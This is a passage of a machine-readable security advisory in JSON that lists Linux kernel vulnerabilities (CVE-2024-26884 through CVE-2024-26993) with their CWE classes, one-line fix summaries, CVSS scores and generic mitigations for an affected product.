            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-26884"
    },
    {
      "cve": "CVE-2024-26885",
      "cwe": {
        "id": "CWE-119",
        "name": "Improper Restriction of Operations within the Bounds of a Memory Buffer"
      },
      "notes": [
        {
          "category": "summary",
          "text": "In the Linux kernel, the following vulnerability has been resolved:\r\n\r\nbpf: Fix DEVMAP_HASH overflow check on 32-bit arches\r\n\r\nThe devmap code allocates a number hash buckets equal to the next power\r\nof two of the max_entries value provided when creating the map. When\r\nrounding up to the next power of two, the 32-bit variable storing the\r\nnumber of buckets can overflow, and the code checks for overflow by\r\nchecking if the truncated 32-bit value is equal to 0. However, on 32-bit\r\narches the rounding up itself can overflow mid-way through, because it\r\nends up doing a left-shift of 32 bits on an unsigned long value. If the\r\nsize of an unsigned long is four bytes, this is undefined behaviour, so\r\nthere is no guarantee that we\u0027ll end up with a nice and tidy 0-value at\r\nthe end.\r\n\r\nSyzbot managed to turn this into a crash on arm32 by creating a\r\nDEVMAP_HASH with max_entries \u003e 0x80000000 and then trying to update it.\r\nFix this by moving the overflow check to before the rounding up\r\noperation.",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 7.8,
            "baseSeverity": "HIGH",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-26885"
    },
    {
      "cve": "CVE-2024-26889",
      "cwe": {
        "id": "CWE-20",
        "name": "Improper Input Validation"
      },
      "notes": [
        {
          "category": "summary",
          "text": "Bluetooth: hci_core: Fix possible buffer overflow.",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 5.5,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-26889"
    },
    {
      "cve": "CVE-2024-26891",
      "cwe": {
        "id": "CWE-20",
        "name": "Improper Input Validation"
      },
      "notes": [
        {
          "category": "summary",
          "text": "iommu/vt-d: Don\u0027t issue ATS Invalidation request when device is disconnected.",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 5.5,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-26891"
    },
    {
      "cve": "CVE-2024-26894",
      "cwe": {
        "id": "CWE-20",
        "name": "Improper Input Validation"
      },
      "notes": [
        {
          "category": "summary",
          "text": "ACPI: processor_idle: Fix memory leak in acpi_processor_power_exit().",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 5.5,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-26894"
    },
    {
      "cve": "CVE-2024-26895",
      "cwe": {
        "id": "CWE-20",
        "name": "Improper Input Validation"
      },
      "notes": [
        {
          "category": "summary",
          "text": "wifi: wilc1000: prevent use-after-free on vif when cleaning up all interfaces.",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 5.5,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-26895"
    },
    {
      "cve": "CVE-2024-26897",
      "cwe": {
        "id": "CWE-20",
        "name": "Improper Input Validation"
      },
      "notes": [
        {
          "category": "summary",
          "text": "wifi: ath9k: delay all of ath9k_wmi_event_tasklet() until init is complete.",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 4.7,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-26897"
    },
    {
      "cve": "CVE-2024-26898",
      "cwe": {
        "id": "CWE-416",
        "name": "Use After Free"
      },
      "notes": [
        {
          "category": "summary",
          "text": "In the Linux kernel, the following vulnerability has been resolved: aoe: fix the potential use-after-free problem in aoecmd_cfg_pkts.",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 7.0,
            "baseSeverity": "HIGH",
            "vectorString": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-26898"
    },
    {
      "cve": "CVE-2024-26901",
      "cwe": {
        "id": "CWE-908",
        "name": "Use of Uninitialized Resource"
      },
      "notes": [
        {
          "category": "summary",
          "text": "In the Linux kernel, the following vulnerability has been resolved: do_sys_name_to_handle(): use kzalloc() to fix kernel-infoleak.",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 5.3,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-26901"
    },
    {
      "cve": "CVE-2024-26903",
      "cwe": {
        "id": "CWE-20",
        "name": "Improper Input Validation"
      },
      "notes": [
        {
          "category": "summary",
          "text": "Bluetooth: rfcomm: Fixed null-ptr-deref in rfcomm_check_security.",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 5.5,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-26903"
    },
    {
      "cve": "CVE-2024-26906",
      "cwe": {
        "id": "CWE-20",
        "name": "Improper Input Validation"
      },
      "notes": [
        {
          "category": "summary",
          "text": "x86/mm: Disallow vsyscall page read for copy_from_kernel_nofault().",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 5.5,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-26906"
    },
    {
      "cve": "CVE-2024-26907",
      "cwe": {
        "id": "CWE-20",
        "name": "Improper Input Validation"
      },
      "notes": [
        {
          "category": "summary",
          "text": "RDMA/mlx5: Fixed fortify source warning while accessing Eth segment.",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 5.5,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-26907"
    },
    {
      "cve": "CVE-2024-26920",
      "cwe": {
        "id": "CWE-908",
        "name": "Use of Uninitialized Resource"
      },
      "notes": [
        {
          "category": "summary",
          "text": "In the Linux kernel, the following vulnerability has been resolved:\r\n\r\ntracing/trigger: Fix to return error if failed to alloc snapshot",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 5.5,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-26920"
    },
    {
      "cve": "CVE-2024-26923",
      "cwe": {
        "id": "CWE-362",
        "name": "Concurrent Execution using Shared Resource with Improper Synchronization (\u0027Race Condition\u0027)"
      },
      "notes": [
        {
          "category": "summary",
          "text": "In the Linux kernel, the following vulnerability has been resolved: af_unix: Fix garbage collector racing against connect().",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 7.0,
            "baseSeverity": "HIGH",
            "vectorString": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-26923"
    },
    {
      "cve": "CVE-2024-26925",
      "cwe": {
        "id": "CWE-667",
        "name": "Improper Locking"
      },
      "notes": [
        {
          "category": "summary",
          "text": "In the Linux kernel, the following vulnerability has been resolved: netfilter: nf_tables: release mutex after nft_gc_seq_end from abort path The commit mutex should not be released during the critical section between nft_gc_seq_begin() and nft_gc_seq_end(), otherwise, async GC worker could collect expired objects and get the released commit lock within the same GC sequence. nf_tables_module_autoload() temporarily releases the mutex to load module dependencies, then it goes back to replay the transaction again. Move it at the end of the abort phase after nft_gc_seq_end() is called.",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 5.5,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-26925"
    },
    {
      "cve": "CVE-2024-26934",
      "cwe": {
        "id": "CWE-667",
        "name": "Improper Locking"
      },
      "notes": [
        {
          "category": "summary",
          "text": "In the Linux kernel, the following vulnerability has been resolved:\r\n\r\nUSB: core: Fix deadlock in usb_deauthorize_interface()",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 7.8,
            "baseSeverity": "HIGH",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-26934"
    },
    {
      "cve": "CVE-2024-26935",
      "cwe": {
        "id": "CWE-770",
        "name": "Allocation of Resources Without Limits or Throttling"
      },
      "notes": [
        {
          "category": "summary",
          "text": "In the Linux kernel, the following vulnerability has been resolved:\r\n\r\nscsi: core: Fix unremoved procfs host directory regression",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 5.5,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-26935"
    },
    {
      "cve": "CVE-2024-26937",
      "cwe": {
        "id": "CWE-617",
        "name": "Reachable Assertion"
      },
      "notes": [
        {
          "category": "summary",
          "text": "In the Linux kernel, the following vulnerability has been resolved:\r\n\r\ndrm/i915/gt: Reset queue_priority_hint on parking",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 5.5,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-26937"
    },
    {
      "cve": "CVE-2024-26950",
      "cwe": {
        "id": "CWE-476",
        "name": "NULL Pointer Dereference"
      },
      "notes": [
        {
          "category": "summary",
          "text": "In the Linux kernel, the following vulnerability has been resolved:\r\n\r\nwireguard: netlink: access device through ctx instead of peer",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 5.5,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-26950"
    },
    {
      "cve": "CVE-2024-26951",
      "cwe": {
        "id": "CWE-416",
        "name": "Use After Free"
      },
      "notes": [
        {
          "category": "summary",
          "text": "In the Linux kernel, the following vulnerability has been resolved:\r\n\r\nwireguard: netlink: check for dangling peer via is_dead instead of empty list",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 5.5,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-26951"
    },
    {
      "cve": "CVE-2024-26958",
      "cwe": {
        "id": "CWE-416",
        "name": "Use After Free"
      },
      "notes": [
        {
          "category": "summary",
          "text": "In the Linux kernel, the following vulnerability has been resolved:\r\n\r\nnfs: fix UAF in direct writes",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 7.8,
            "baseSeverity": "HIGH",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-26958"
    },
    {
      "cve": "CVE-2024-26960",
      "cwe": {
        "id": "CWE-362",
        "name": "Concurrent Execution using Shared Resource with Improper Synchronization (\u0027Race Condition\u0027)"
      },
      "notes": [
        {
          "category": "summary",
          "text": "In the Linux kernel, the following vulnerability has been resolved:\r\n\r\nmm: swap: fix race between free_swap_and_cache() and swapoff()",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 5.5,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-26960"
    },
    {
      "cve": "CVE-2024-26961",
      "cwe": {
        "id": "CWE-416",
        "name": "Use After Free"
      },
      "notes": [
        {
          "category": "summary",
          "text": "In the Linux kernel, the following vulnerability has been resolved:\r\n\r\nmac802154: fix llsec key resources release in mac802154_llsec_key_del",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 7.8,
            "baseSeverity": "HIGH",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-26961"
    },
    {
      "cve": "CVE-2024-26973",
      "cwe": {
        "id": "CWE-457",
        "name": "Use of Uninitialized Variable"
      },
      "notes": [
        {
          "category": "summary",
          "text": "In the Linux kernel, the following vulnerability has been resolved: fat: fix uninitialized field in nostale filehandles When fat_encode_fh_nostale() encodes file handle without a parent it stores only first 10 bytes of the file handle. However the length of the file handle must be a multiple of 4 so the file handle is actually 12 bytes long and the last two bytes remain uninitialized. This is not great at we potentially leak uninitialized information with the handle to userspace. Properly initialize the full handle length.",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 5.5,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-26973"
    },
    {
      "cve": "CVE-2024-26974",
      "cwe": {
        "id": "CWE-367",
        "name": "Time-of-check Time-of-use (TOCTOU) Race Condition"
      },
      "notes": [
        {
          "category": "summary",
          "text": "In the Linux kernel, the following vulnerability has been resolved:\r\n\r\ncrypto: qat - resolve race condition during AER recovery",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 7.0,
            "baseSeverity": "HIGH",
            "vectorString": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-26974"
    },
    {
      "cve": "CVE-2024-26982",
      "cwe": {
        "id": "CWE-125",
        "name": "Out-of-bounds Read"
      },
      "notes": [
        {
          "category": "summary",
          "text": "In the Linux kernel, the following vulnerability has been resolved:\r\nSquashfs: check the inode number is not the invalid value of zero",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 7.1,
            "baseSeverity": "HIGH",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-26982"
    },
    {
      "cve": "CVE-2024-26988",
      "cwe": {
        "id": "CWE-120",
        "name": "Buffer Copy without Checking Size of Input (\u0027Classic Buffer Overflow\u0027)"
      },
      "notes": [
        {
          "category": "summary",
          "text": "In the Linux kernel, the following vulnerability has been resolved:\r\n\r\ninit/main.c: Fix potential static_command_line memory overflow",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 5.5,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-26988"
    },
    {
      "cve": "CVE-2024-26993",
      "cwe": {
        "id": "CWE-20",
        "name": "Improper Input Validation"
      },
      "notes": [
        {
          "category": "summary",
          "text": "In the Linux kernel, the following vulnerability has been resolved:\r\n\r\nfs: sysfs: Fix reference leak in sysfs_break_active_protection()",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
